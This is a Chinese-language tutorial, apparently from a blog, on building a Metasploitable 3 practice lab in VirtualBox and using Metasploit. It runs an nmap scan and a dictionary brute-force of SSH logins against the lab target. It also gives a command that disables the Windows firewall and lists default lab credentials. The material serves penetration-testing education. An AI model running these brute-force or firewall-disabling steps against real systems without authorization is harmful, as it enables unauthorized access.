介紹如何使用 metasploit 進行滲透測試,並搭建 metasploitable 3 靶機進行演練。
metasploit 是一套很普遍被使用的滲透測試架構(penetration testing framework),這裡我們使用一台 MacBook Pro 搭配 VirtualBox 虛擬機器,在虛擬環境下搭建滲透測試的演練環境。
這裡我們打算在 VirtualBox 中建立一個 NAT 網路,將一台 Kali Linux 與兩台靶機都放在裡面,方便測試。
裝好 VirtualBox 之後,下載 Kali Linux 的 VirtualBox 影像檔,匯入 VirtualBox。
若是在 Kali Linux 中,則是內建就已經安裝好 metasploit 了,直接使用即可。
若要安裝 metasploit 滲透測試架構,在 metasploit 官方的 GitHub 網站上有安裝最新版 metasploit 的指令稿,以及適用於 Windows、macOS 與各種 Linux 的安裝檔,對於普通的狀況來說,直接下載預先編譯好的安裝檔來安裝即可。
若是在 Debian/Ubuntu Linux 中,由於 metasploit 已經被收錄在官方的套件庫中,所以直接以 apt 安裝即可:
# 安裝 metasploit 滲透測試架構
sudo apt install metasploit-framework
先在 macOS 中透過 brew
安裝 Vagrant 工具:
# 安裝 Vagrant
brew install vagrant
再參考 Metasploitable 3 的 GitHub 說明,用以下指令建立 Metasploitable 3 靶機:
# 建立 Metasploitable 3 靶機 mkdir metasploitable3-workspace cd metasploitable3-workspace curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile vagrant up
Vagrant 會自動在 VirtualBox 中建立 Ubuntu Linux 14.04 與 Windows Server 2008 的靶機。
如果要降低演練的難度,可以在執行 vagrant
指令之前,設定 MS3_DIFFICULTY=easy
將 Windows Server 2008 靶機的防火牆關閉:
# 關閉 Windows Server 2008 靶機防火牆 MS3_DIFFICULTY=easy vagrant up
如果在建立好 Windows Server 2008 靶機之後,要將防火牆關閉,可以使用以下指令:
# 關閉既有 Windows Server 2008 靶機防火牆
netsh advfirewall set allprofiles state off
若要登入靶機,可以使用以下的帳號與密碼:
vagrant
vagrant
而 Windows 的 administrator
帳號的密碼也是 vagrant
。
在 VirtualBox 的「檔案」選單中,選擇「偏好設定」,然後在「網路」頁籤中新增一組 NAT 網路。
在 VirtualBox 中,更改 Kali Linux 與兩台靶機的網路設定,讓這幾台機器都放在新建立的 NAT 網路中。
這裡示範如何對 Ubuntu Linux 14.04 這台靶機進行滲透測試,首先啟動 VirtualBox 中的 Kali Linux 與 Ubuntu Linux 14.04 靶機。
在 Ubuntu Linux 14.04 靶機中以 vagrant
/vagrant
這組帳號密碼登入後,使用 ifconfig
指令查詢其 IP 位址:
# 查詢 IP 位址(Ubuntu 14.04 靶機)
ifconfig eth0
接著在 Kali Linux 中開啟終端機,進入 msfconsole
環境:
# 啟動 msfconsole(Kali Linux)
msfconsole
以 nmap
對 Ubuntu Linux 14.04 這台靶機執行基本的連接埠掃描:
# 掃描連接埠(Kali Linux) nmap -sV 192.168.5.5
由於這一台是特別設計的過靶機,所以開了許多的服務,這裡我們示範以暴力法對 SSH 的 22 連接埠進行攻擊。
以 search
指令搜尋 ssh
相關的模組:
# 搜尋 ssh 相關的模組
search ssh
我們選擇 auxiliary/scanner/ssh/ssh_version
這個偵測 SSH 伺服器版本的模組,並查看該模組的相關參數:
# 使用指定模組 use auxiliary/scanner/ssh/ssh_version # 顯示模組參數 show options
這裡我們將執行緒設定為 3 條,並指定靶機的 IP 位址:
# 設定參數 set THREADS 3 set RHOSTS 192.168.5.5
設定好之後,執行掃描:
# 執行掃描
run
接著使用 auxiliary/scanner/ssh/ssh_login
模組嘗試以暴力法攻擊(Brute-force attack)破解 SSH 帳號密碼:
# 使用指定模組 use auxiliary/scanner/ssh/ssh_login # 顯示模組參數 show options
暴力法攻擊通常都要搭配字典檔,在 Kali Linux 中的 /usr/share/wordlists/
目錄之下有一些內建的字典檔可以使用,以下是相關參數的設定:
# 設定參數 set THREADS 3 set RHOSTS 192.168.5.5 set STOP_ON_SUCCESS true set VERBOSE true set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt set USER_AS_PASS true
設定好之後,即可執行暴力法攻擊嘗試破解 SSH 帳號密碼:
# 執行暴力法攻擊嘗試破解 SSH 帳號密碼
run
關於更近一步的 metasploitable 3 的 Ubuntu Linux 14.04 靶機入侵方式,可以參考以下網站: